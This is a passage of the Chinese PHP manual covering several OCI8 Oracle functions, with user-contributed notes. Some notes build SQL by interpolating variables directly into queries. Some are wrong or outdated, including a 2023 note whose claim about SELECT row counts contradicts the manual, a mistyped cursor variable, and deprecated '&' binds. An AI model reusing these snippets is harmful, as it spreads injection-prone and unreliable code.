    $lob = OCINewDescriptor($conn, OCI_D_LOB);
    $stmt = OCIParse($conn,"insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, :the_blob)");
    OCIBindByName($stmt, ':the_blob', &$lob, -1, OCI_B_BLOB);
    $lob->WriteTemporary($data);
    OCIExecute($stmt, OCI_DEFAULT);
    $lob->close();
    $lob->free();
    OCICommit($conn);

There are some cases involving triggers where you can't use a RETURNING clause, so this method can come in handy.  The case where I needed it was updating a view that had an instead-of update trigger.
Maxwell_Smart (at) ThePentagon (dot) com 23-Sep-2003 02:13
Just a note. When INSERTing a CLOB, if a VALUES clause is used, Oracle notes: You cannot initialize an internal LOB attribute in an object with a value other than empty or null. That is, you cannot use a literal.

That's why all the examples here INSERT an EMPTY_CLOB(), and use RETURNING to grab the pointer.

However, a CLOB can also be INSERTed via a SELECT statement, and that won't require any descriptors.

Example:

$Clob = Str_Replace("'", "''", $Clob);

OCIParse($DB, "INSERT INTO My_Table (My_Clob) SELECT '$Clob' FROM Dual");

This, of course, allows the use of a WHERE clause as well.
tca at engineer dot com 25-Oct-2002 01:33
Two examples of retrieving CLOBs from the database.  They are almost identical.  The first is using a package(and cursor) which is how I interface to Oracle at work, and the second is using straight SQL, which most people post examples in.

I also convert the case from upper to lower, since that is how I prefer to work with assoc arrays...

Instead of using the get_class() function you could use the OCIColumnType() function which (in this case) would return 'CLOB' as a result...

/**
* Example 1
*
* Using a PL/SQL package and cursor
*
*/
$cursor=':p_cur';
$sql2="begin clobPackage.getClob($cursor); end;";
$curs=OCINewCursor($conn);
$stmt=OCIParse($conn,$sql2);
OCIBindByName($stmt,$cursor,&$curs,-1,OCI_B_CURSOR);
OCIExecute($stmt,OCI_DEFAULT);
OCIExecute($curs,OCI_DEFAULT);
$x=0;
while(OCIFetch($curs)){
  $cols=OCINumCols($curs);
  for($i=1;$i<=$cols;$i++){
    $column_name=OCIColumnName($curs,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

/**
* Example 2
*
* Using a SELECT
*
*/
$query="SELECT a_num, a_clob FROM clob_test";
$stmt=OCIParse($conn,$query);
OCIExecute($stmt,OCI_DEFAULT);
$x=0;
while(OCIFetch($stmt)){
  $ncols=OCINumCols($stmt);
  for($i=1;$i<=$ncols;$i++){
    $column_name=OCIColumnName($stmt,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

I hope someone finds this useful.

Cheers,
Keith.
sozturk at emediamillworks dot com 09-Apr-2002 03:30
I had the same problem with updating the lobs with shorter content as in one of the notes above. The addition of "\0" at the end of the replacement text didn't help either. But the following worked perfectly:

$sql = "UPDATE sometable SET lob_col = EMPTY_LOB() WHERE key_col = $key RETURNING lob_col INTO :lob";
$stmt = OCIParse($conn,$sql);
$lob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($stmt,':lob',&$lob,-1,OCI_B_BLOB);
OCIExecute($stmt,OCI_DEFAULT);
$lob->save($sometext);
$lob->free();
aidanpeiser at yahoo dot com 27-Mar-2002 11:12
another way to display your clob details !

    $query = "select * from Your_clob_table";
    $stmt = OCIParse($conn, $query);
    ociexecute($stmt);

        while ( OCIFetch($stmt))
        {
         $lob = OCIResult($stmt,"CLOB_MESSAGE");
         $CLOB_MESSAGE = $lob->load();
         echo $CLOB_MESSAGE;
        }

this works,
moom_mong at yahoo dot com 18-Dec-2001 10:54
To read a lob, other way:

$sql = OCIParse("select * from table_with_lob_field");
OCIExecute($sql, OCI_DEFAULT);
while ( OCIFetch($sql)) {
 $o = ociresult($sql,"loc_field_name");
 $loc_field_name = $o->load();
 print $loc_field_name;
};
jcd at iddg dot com 03-Mar-2000 02:42
[Editor's note: don't use '&' for parameters in bind calls in PHP 5]

The code up above is somewhat correct... here's an example of how I got a CLOB to work

<?php
function insert_adinfo($AdInfoID, $MagazineType, $Publish, $DatePost, $BodyText)
{
   global $db;

    // Insert record into database
    $clob = OCINewDescriptor($db, OCI_D_LOB);
    $stmt = OCIParse($db,"insert into tblAdInfo values ($AdInfoID,                  $MagazineType, '$Publish', to_date('$DatePost', 'YYYY-MM-DD'),                  EMPTY_CLOB()) returning BodyText into :the_blob");
    OCIBindByName($stmt, ':the_blob', &$clob, -1, OCI_B_CLOB);
    OCIExecute($stmt, OCI_DEFAULT);
    if($clob->save($BodyText)){
        OCICommit($db);
    }else{
        echo "Problems: Couldn't upload Clob\n";
    }

   OCIFreeDescriptor($clob);
   OCIFreeStatement($stmt);
}
?>


返回语句中结果列的数量

  • ? oci_new_descriptor
  • oci_num_rows ?
  • PHP Manual
  • OCI8 函数
  • 返回语句中结果列的数量

oci_num_fields

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_num_fields — 返回语句中结果列的数量

说明

oci_num_fields(resource $statement): int

获取 statement 中的列的数量。

参数

statement

有效的 OCI 语句标识符。

返回值

返回 int 类型的列的数量。

示例

Example #1 oci_num_fields() 示例

<?php

// Create the table with:
// CREATE TABLE mytab (id NUMBER, quantity NUMBER);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
echo oci_field_name($stid, $i) . " " . oci_field_type($stid, $i) . "<br>\n";
}

// Outputs:
// ID NUMBER
// QUANTITY NUMBER

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

jnield at impole dot com 18-Nov-1999 07:43
The following is not immediately obvious:

If you need the number of columns in a REF CURSOR returned from a PL/SQL procedure, you need to use OCINumColumns() on the cursor handle returned by OCINewCursor after it is bound and executed, not the statement handle. Same applies for OCIColumnName() and friends.


返回语句执行后受影响的行数

  • ? oci_num_fields
  • oci_parse ?
  • PHP Manual
  • OCI8 函数
  • 返回语句执行后受影响的行数

oci_num_rows

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_num_rows — 返回语句执行后受影响的行数

说明

oci_num_rows(resource $statement): int|false

获取语句执行后受影响的行数。

参数

statement

有效的 OCI 语句标识符。

返回值

返回 int 类型的受影响的行数， 或者在失败时返回 false。

示例

Example #1 oci_num_rows() 示例

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "create table emp2 as select * from employees");
oci_execute($stid);
echo oci_num_rows($stid) . " rows inserted.<br />\n";
oci_free_statement($stid);

$stid = oci_parse($conn, "delete from emp2");
oci_execute($stid, OCI_DEFAULT);
echo oci_num_rows($stid) . " rows deleted.<br />\n";
oci_commit($conn);
oci_free_statement($stid);

$stid = oci_parse($conn, "drop table emp2");
oci_execute($stid);
oci_free_statement($stid);

oci_close($conn);

?>

注释

Note:

本函数并不返回 SELECT 查询出来的行数！对于 SELECT 语句本函数将返回用 oci_fetch*() 函数从缓冲区获取的行数。

User Contributed Notes

vihanga dot kule99 at gmail dot com 07-Jul-2023 08:57
The `oci_num_rows()` function is used to retrieve the number of rows affected or returned by a query executed with Oracle Database using the OCI8 extension. Here's an explanation of how `oci_num_rows()` works:

1. Syntax:
  php
   oci_num_rows($statement);

2. Parameters:
  $statement: This parameter represents the Oracle statement handle returned by `oci_parse()` and executed using `oci_execute()`. It refers to the executed query or statement for which you want to get the number of rows.

3. Return Value:
 The `oci_num_rows()` function returns the number of rows affected or returned by the executed query. It returns an integer value representing the count of rows.

4. Usage:
 After executing a query with `oci_execute()`, you can use `oci_num_rows()` to determine the number of rows affected or returned by the query.
   - It is commonly used in scenarios where you need to know the count of rows for result sets or the count of affected rows after an INSERT, UPDATE, or DELETE operation.

example that demonstrates the usage of `oci_num_rows()`:

php
$sql = "SELECT * FROM employees";
$statement = oci_parse($connection, $sql);
oci_execute($statement);

// Get the number of rows returned by the query
$numRows = oci_num_rows($statement);
echo "Number of rows: " . $numRows;

this example, we execute a SELECT query to fetch records from the "employees" table. After executing the query with `oci_execute()`, we use `oci_num_rows()` to retrieve the number of rows returned by the query and store it in the `$numRows` variable. Finally, we echo the count of rows.
pluueer at hotmail dot com 20-Apr-2010 02:51
If you want to return te number of rows without fetching all data it might by more efficient to use this code (correct me if I'm wrong):

$sql_query = 'SELECT COUNT(*) AS NUMBER_OF_ROWS FROM (' . $your_query . ')';

$stmt= oci_parse($conn, $sql_query);

oci_define_by_name($stmt, 'NUMBER_OF_ROWS', $number_of_rows);

oci_execute($stmt);

oci_fetch($stmt);

echo $number_of_rows;


预处理用于执行的 Oracle 语句

  • ? oci_num_rows
  • oci_password_change ?
  • PHP Manual
  • OCI8 函数
  • 预处理用于执行的 Oracle 语句

oci_parse

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_parse — 预处理用于执行的 Oracle 语句

说明

oci_parse(resource $connection, string $sql): resource|false

使用 connection 预处理 sql 并返回语句标识符，语句标识符可跟 oci_bind_by_name()、oci_execute() 和其它函数一起使用。

语句标识符可使用 oci_free_statement() 或将变量设置为 null 来释放。

参数

connection

Oracle 连接标识符，由 oci_connect()、oci_pconnect() 或 oci_new_connect() 返回。

sql

SQL 或 PL/SQL 语句。

SQL 语句不应以分号（";"）结尾。PL/SQL 语句应以分号（";"）结尾。

返回值

成功时返回语句句柄，错误时为 false。

示例

Example #1 oci_parse() 的 SQL 语句示例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

// Parse the statement. Note there is no final semi-colon in the SQL statement
$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 oci_parse() 的 PL/SQL 语句示例

<?php

/*
Before running the PHP program, create a stored procedure in
SQL*Plus or SQL Developer:

CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
BEGIN
p2 := p1 * 2;
END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

// When parsing PL/SQL programs, there should be a final semi-colon in the string
$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n"; // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

注释

Note:

本函数并不验证 sql。要知道 sql 是否是合法的 SQL 或 PL/SQL 语句的唯一方法是执行它。

参见

  • oci_execute() - 执行语句
  • oci_free_statement() - 释放关联于语句或游标的所有资源

User Contributed Notes

interloper at ukr dot net 02-Sep-2015 03:06
If you want using PL/SQL in variable:

<?php
$query = "begin null;  end;";
$stid = oci_parse($conn, "$query");
 ?>

or

<?php
$stid = oci_parse($conn, "begin null;  end;");
?>
falundir at gmail dot com 08-Feb-2011 05:38
When you want to call stored function (and want to read its result) which executes DML queries (insert, update, delete) inside its body you can't use "select your_stored_function(:param1, :param2) from dual" because you will receive "ORA-14551: cannot perform a DML operation inside a query" error.

In order to call such function and get its result you need to wrap it into nested procedure with OUT parameter like this:

DECLARE
  PROCEDURE caller(return_value OUT NUMBER) AS
  BEGIN
    return_value := your_stored_function(:param1, :param2);
  END;
BEGIN
  caller(:return_value);
END;

and bind to :return_value variable to get the result of function.
michael dot virnstein at brodos dot de 04-Dec-2007 08:43
A neat way to parse a query only once per script, if the query is done inside a function:

<?php
function querySomething($conn, $id)
{
    static $stmt;

    if (is_null($stmt)) {
        $stmt = oci_parse($conn, 'select * from t where pk = :id');
    }

    oci_bind_by_name($stmt, ':id', $id, -1);

    oci_execute($stmt, OCI_DEFAULT);

    return oci_fetch_array($stmt, OCI_ASSOC);

}

?>

With the static variable, the statment handle isn't closed after the function has terminated. Very nice for functions that are called e.g. in loops. Unfortunately this only works for static sql. If you have dynamic sql, you can do the following:

<?php

function querySomething($conn, $data)
{
    static $stmt = array();

    $first = true;

    $query = 'select * from t';

    foreach ($data as $key => $value) {
        if ($first) {
            $first = false;
            $query .= ' where ';
        } else {
            $query .= ' and ';
        }

        $query .= "$key = :b$key";
    }

    $queryhash = md5($query);

    if (is_null($stmt[$queryhash])) {
        $stmt[$queryhash] = oci_parse($conn, $query);
    }

    foreach ($data as $key => $value) {
        // don't use $value, because we bind memory addresses here.
        // this would result in every bind pointing at the same value after foreach
        oci_bind_by_name($stmt[$queryhash], ":b$key", $data[$key], -1);
    }

    oci_execute($stmt[$queryhash], OCI_DEFAULT);

    return oci_fetch_array($stmt[$queryhash], OCI_ASSOC);

}

?>
kurt at kovac dot ch 04-May-2004 08:40
For those that are having trouble with error checking, i have noticed on a lot of sites that people are trying to check the statement handle for error messages with OCIParse. Since the statement handle ($sth) is not created yet, you need to check the database handle ($dbh) for any errors with OCIParse. For example:

instead of:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($stmt);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

use:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($conn);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

Hope this helps someone.
egypt at nmt dot edu 14-Oct-2003 07:31
Whereas MySQL doesn't care what kind of quotes are around a LIKE clause, ociexecute gives the error:
    ociexecute(): OCIStmtExecute: ORA-00904: "NM": invalid identifier
for the following.
<?php
$sql  = "SELECT * FROM addresses "
      . "WHERE state LIKE \"NM\"";  // error!
$stmt = ociparse($conn, $sql);
ociexecute($stmt);
?>

it's fine if you just use single quotes:
    . "WHERE state LIKE 'NM'";
but i think it's interesting that ociparse doesn't say anything


修改 Oracle 用户的密码

  • ? oci_parse
  • oci_pconnect ?
  • PHP Manual
  • OCI8 函数
  • 修改 Oracle 用户的密码

oci_password_change

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_password_change — 修改 Oracle 用户的密码

说明

oci_password_change(
resource $connection,
string $username,
string $old_password,
string $new_password
): bool
oci_password_change(
string $database_name,
string $username,
string $old_password,
string $new_password
): resource

修改用户 username 的密码。

oci_password_change() 函数对于 PHP 命令行脚本或在整个 PHP 应用程序中使用非持久连接时最有用。

参数

connection

Oracle 连接标识符，由 oci_connect() 或 oci_pconnect() 返回。

username

Oracle 用户名。

old_password

旧密码。

new_password

要设置的新密码。

database_name

数据库名。

返回值

提供 database_name 时，oci_password_change() 成功时返回 true， 或者在失败时返回 false。提供 connection 时，oci_password_change() 成功时返回连接资源， 或者在失败时返回 false。

示例

Example #1 oci_password_change() 示例，更改已连接用户的密码

<?php

$dbase = 'localhost/orcl';
$user = 'cj';
$current_pw = 'welcome';
$new_pw = 'geelong';

$c = oci_pconnect($user, $current_pw, $dbase);
oci_password_change($c, $user, $current_pw, $new_pw);
echo "New password is : " . $new_pw . "\n";

?>

Example #2 oci_password_change() 示例之一步更改密码并连接

<?php

$dbase = 'localhost/orcl';
$user = 'cj';
$current_pw = 'welcome';
$new_pw = 'geelong';

$c = oci_pconnect($user, $current_pw, $dbase);
if (!$c) {
$m = oci_error();
if ($m['code'] == 28001) { // "ORA-28001: the password has expired"
// Login and reset password at the same time
$c = oci_password_change($dbase, $user, $current_pw, $new_pw);
if ($c) {
echo "New password is : " . $new_pw . "\n";
}
}
}

if (!$c) { // The original error wasn't 28001, or the password change failed
$m = oci_error();
trigger_error('Could not connect to database: '. $m['message'], E_USER_ERROR);
}

// Use the connection $c
// ...

?>

注释

Note:

使用此函数或直接在 Oracle 中更改密码应该小心。这是因为 PHP 应用程序可能会通过使用旧密码进行身份验证来继续成功地重用持久连接。最佳做法是每当更改用户密码时重新启动所有 Web 服务器。

Note:

如果将 Oracle 客户端库或数据库从 11.2.0.3 之前的版本升级到 11.2.0.3 或更高版本，oci_password_change() 可能会给出错误"ORA-1017: invalid username/password"，除非同时升级客户端和服务器版本。

Note:

第二个 oci_password_change() 语法自 OCI8 版本 1.1 起可用。

User Contributed Notes

There are no user contributed notes for this page.


使用持久连接连，连接到 Oracle 数据库

  • ? oci_password_change
  • oci_register_taf_callback ?
  • PHP Manual
  • OCI8 函数
  • 使用持久连接连，连接到 Oracle 数据库

oci_pconnect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_pconnect — 使用持久连接连，连接到 Oracle 数据库

说明

oci_pconnect(
string $username,
string $password,
?string $connection_string = null,
string $encoding = "",
int $session_mode = OCI_DEFAULT
): resource|false

创建到 Oracle 服务器的持久连接并登录。

持久连接会被缓冲并在请求之间重复使用，可以降低每个页面加载的消耗；一个典型的 PHP 应用程序对于每个 Apache 子进程（或者 PHP FastCGI 进程）会有打开的持久连接到 Oracle 服务器。更多信息见连接处理和连接池一节。

参数

username

Oracle 用户名。

password

username 的密码。

connection_string

包含要连接的 Oracle 实例。可以是 » Easy Connect 串，或是 tnsnames.ora 文件中的连接名，或是本地 Oracle 实例名。

如果不指定或者为 null，PHP 使用环境变量来确定连接的 Oracle 实例，诸如 TWO_TASK（Linux 下）或 LOCAL（Windows 下）与 ORACLE_SID 等。

要使用 Easy Connect 命名方法，PHP 必须与 Oracle 10g 或更高版本的客户端库进行链接。Oracle 10g 的 Easy Connect 串格式：[//]host_name[:port][/service_name]。Oracle 11g 则为：[//]host_name[:port][/service_name][:server_type][/instance_name]。 在 Oracle 19c 加入类更多选项，例如 timeout 和 keep-alive 设置。 请参考 Oracle 文档。 服务名可在数据库服务器机器上运行 Oracle 实用程序 lsnrctl status 找到。

tnsnames.ora 文件可在 Oracle Net 查找路径中，此路径包括 /your/path/to/instantclient/network/admin、$ORACLE_HOME/network/admin 、/etc。 另一种方法是设置 TNS_ADMIN 以便通过 $TNS_ADMIN/tnsnames.ora 来读取。表确认 web 守护进程可读取此文件。

encoding

使用 Oracle 客户端库来确定字符集。字符集不需要与数据库的字符集相匹配。如果不匹配，Oracle 会尽可能地将数据从数据库字符集进行转换。因为依赖于字符集，可能不能给出可用的结果。转换也增加一些时间开销。

如果不指定，Oracle 客户端用 NLS_LANG 环境变量来决定字符集。

传递此参数可减少连接时间。

session_mode

此参数在 PHP 5（PECL OCI8 1.1）版本开始可用，并收受下列值：OCI_DEFAULT，OCI_SYSOPER 和 OCI_SYSDBA。如为 OCI_SYSOPER 或 OCI_SYSDBA 其中之一，此函数将会使用外部的证书建立有特权的连接。有特权的连接默认是禁用的。需要将 oci8.privileged_connect 设为 On 来启用。

PHP 5.3（PECL OCI8 1.3.4）引进了 OCI_CRED_EXT 模式值。使用外部或操作系统认证必需在 Oracle 数据库中进行配置。OCI_CRED_EXT 标志只可用于用户为 "/"，密码为空的情况。oci8.privileged_connect 可为 On 或 Off。

OCI_CRED_EXT 可与 OCI_SYSOPER 或 OCI_SYSDBA 模式组合使用。

OCI_CRED_EXT 由于安全的原因不支持 Windows 系统。

返回值

返回连接标识符或错误时为 false。

示例

Example #1 基础 oci_pconnect() 示例，使用 Easy Connect 语法

<?php

// Connects to the XE service (i.e. database) on the "localhost" machine
$conn = oci_pconnect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

有关参数使用的更多示例，请参见 oci_connect()。

注释

Note: 每个 PHP 进程的持久 Oracle 连接的生命周期和最大数目可以通过以下配置选项来调整：oci8.persistent_timeout，oci8.ping_interval 和 oci8.max_persistent。

参见

  • oci_connect() - 建立一个到 Oracle 服务器的连接
  • oci_new_connect() - 使用唯一连接，连接到 Oracle 服务器

User Contributed Notes

gotankersley at NOSPAM dot com 13-Jun-2012 02:29
Installed on CentOS 6.2, and had lots of trouble getting it to recognize tnsnames.ora.  The fix for me was:

1. Make sure apache is getting the TNS_ADMIN env variable by putting it in the /etc/init.d/httpd file:
 TNS_ADMIN=/usr/lib/oracle/11.2/client64/network/admin
 export PATH TNS_ADMIN

This can be debugging in PHP by <?php echo system('env'); ?> and by verifying that TNS_ADMIN is there.

2. Make sure to use the name at the beginning of the tnsnames.ora file - not the SID (although ideally they should match.  However, if the name at the beginning is XXXX.world then pconnect will expect this - not the SID)
php at jaggard dot org dot uk 09-Oct-2008 09:38
[Editor's note: OCI8 1.3 should not experience the problem described in this user comment. The first use of such a connection will return an Oracle error which will trigger a cleanup in PHP.  Subsequent persistent connection calls will then succeed.  For high availability you might consider doing consecutive oci_pconnect calls in your script.]

If you connect using oci_pconnect and the connection has logged you off but is still valid, there seems to be no way to re-use that connection. The next time I try oci_pconnect and then perform an oci_execute operation, I get a "ORA-01012: not logged on" warning. This problem remains, even if I close the connection using oci_close. I ended up with the following (rather annoying) code.

<?php
    function getOracleConnection()
    {
      if (!function_exists('oci_pconnect'))
        return false;
      $toReturn = oci_pconnect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_connect'))
        return false;
      $toReturn = oci_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_new_connect'))
        return false;
      $toReturn = oci_new_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      return false;
    }
?>


Register a user-defined callback function for Oracle Database TAF

  • ? oci_pconnect
  • oci_result ?
  • PHP Manual
  • OCI8 函数
  • Register a user-defined callback function for Oracle Database TAF

oci_register_taf_callback

(PHP 7.0 >= 7.0.21, PHP 8, PHP 7 >= 7.1.7, PHP 8, PECL OCI8 >= 2.1.7)

oci_register_taf_callback — Register a user-defined callback function for Oracle Database TAF

说明

oci_register_taf_callback(resource $connection, ?callable $callback): bool

Registers a user-defined callback function to connection. If connection fails due to instance or network failure, the registered callback function will be invoked for several times during failover. See OCI8 Transparent Application Failover (TAF) Support for information.

When oci_register_taf_callback() is called multiple times, each registration overwrites the previous one.

Use oci_unregister_taf_callback() to explicitly unregister a user-defined callback.

TAF callback registration will NOT be saved across persistent connections, therefore the callback needs to be re-registered for a new persistent connection.

参数

connection

An Oracle connection identifier.

callback

A user-defined callback to register for Oracle TAF. It can be a string of the function name or a Closure (anonymous function).

The interface of a TAF user-defined callback function is as follows:

userCallbackFn(resource $connection, int $event, int $type): int

See the parameter description and an example on OCI8 Transparent Application Failover (TAF) Support page.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • oci_unregister_taf_callback() - Unregister a user-defined callback function for Oracle Database TAF

User Contributed Notes

There are no user contributed notes for this page.


返回所取得行中字段的值

  • ? oci_register_taf_callback
  • oci_rollback ?
  • PHP Manual
  • OCI8 函数
  • 返回所取得行中字段的值

oci_result

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_result — 返回所取得行中字段的值

说明

oci_result(resource $statement, string|int $column): mixed

返回由 oci_fetch() 所读取的当前行中 column 的数据。

要获取 OCI8 扩展进行数据类型映射的细节，请参见驱动所支持的数据类型。

参数

statement

column

可以使用列号（从 1 开始）或列名。列名的大小写必须是 Oracle 元数据描述该列的大小写，对于创建的不区分大小写的列来说是大写。

返回值

以字符串形式返回除抽象类型（ROWID、LOB 和 FILE）之外的所有内容。在出错时返回 false。

示例

Example #1 oci_fetch() 和 oci_result()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
echo oci_result($stid, 'LOCATION_ID') . " is ";
echo oci_result($stid, 'CITY') . "<br>\n";
}

// Displays:
// 1000 is Roma
// 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_fetch_all() - 从查询中读取多行到二维数组中

User Contributed Notes

luismanuelp at gmail dot com 26-Aug-2005 08:05
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
gabi at gambita dot de 01-Sep-2003 09:31
if you want to join two tables having both the same column (e.g. 'id') but you don't want to (or cannot) specify all the other fields in these two tables (like erabbott mentioned), you can use:

SELECT t1.*, t2.*, t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;

Note that this does _not_ work:

SELECT *,t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;
jthome at fcgov dot com 10-Feb-2003 02:56
FYI--

In order to modify Oracle dates (using NLS_DATE_FORMAT...), you must set $ORACLE_HOME first.  This environmental variable is best set in the server startup script (i.e., ./apachectl)

--
Jim
erabbott at NOSPAMterra dot com dot br 27-Sep-2002 07:22
As in my previous post, the same thing applies when using conversion functions in CLOB columns.

Probably the same thing will occur to any conversion function that you use.

So, this wont work

SELECT ... TO_CHAR(MY_CLOB) ...

$my_clob = OCIResult($stmt,"MY_CLOB");

But this will:

SELECT ... TO_CHAR(MY_CLOB) AS MYC ...

$my_clob = OCIResult($stmt,"MYC");

Best regards.
erabbott at NOSPAMterra dot com dot br 26-Sep-2002 03:35
Note that if you are making multiple table selects, you must specify an alias to each column.

This wont work:
----------------------------------------
$qry = "SELECT A.COL_ONE, B.COL_ONE FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "A.COL_ONE");
...
----------------------------------------

But this will:
----------------------------------------
$qry = "SELECT A.COL_ONE AS X, B.COL_ONE AS Y FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "X");
...
----------------------------------------

Regards,
steve dot hurst at instem-lss dot co dot uk 28-Mar-2002 07:35
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
dwilson at cae dot wisc dot edu 16-Apr-2001 06:05
I complained that I couldn't get the time from an Oracle date field.  Joe Brown said:

This is not a PHP bug.

Consider setting NLS_DATE_FORMAT.

The manual states OCIResult() returns everything as a string.
NLS_DATE_FORMAT may not be appropriate for your needs.

There are quite a few places you can set NLS_DATE_FORMAT.
* Environment variables (or windows registry on win32)
* orclSID.ora
* on a per session basis; execute this statement after logon:

$cursor=OCIParse($connection,
 "ALTER SESSION SET NLS_DATE_FORMAT='YYYY-MM-DD HH24:MI:SS'");
OCIExecute($cursor);
OCIFreeCursor($cursor);
shayman at quiver dot com 30-Aug-2000 09:09
As this function gets a 'mixed' variable type for the column index, you may use an integer to represent the column number. In this case, the count is starting from 1 and not from zero.
I am not sure, but I think this method is a bit faster than using the column name.
For an example, see the OCINumCols first example.
dominic dot standage at revolutionltd dot com 16-Sep-1999 05:43
OCIResult() requires the column name to be written in capitals, so OCIResult($stmt,"column") won't work, but OCIResult($stmt,"COLUMN") works fine. Hope that helps somebody out


回滚未完成的事务

  • ? oci_result
  • oci_server_version ?
  • PHP Manual
  • OCI8 函数
  • 回滚未完成的事务

oci_rollback

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_rollback — 回滚未完成的事务

说明

oci_rollback(resource $connection): bool

恢复 Oracle connection 的所有未提交更改并结束事务。释放所有持有的锁。所有 Oracle SAVEPOINTS 都被擦除。

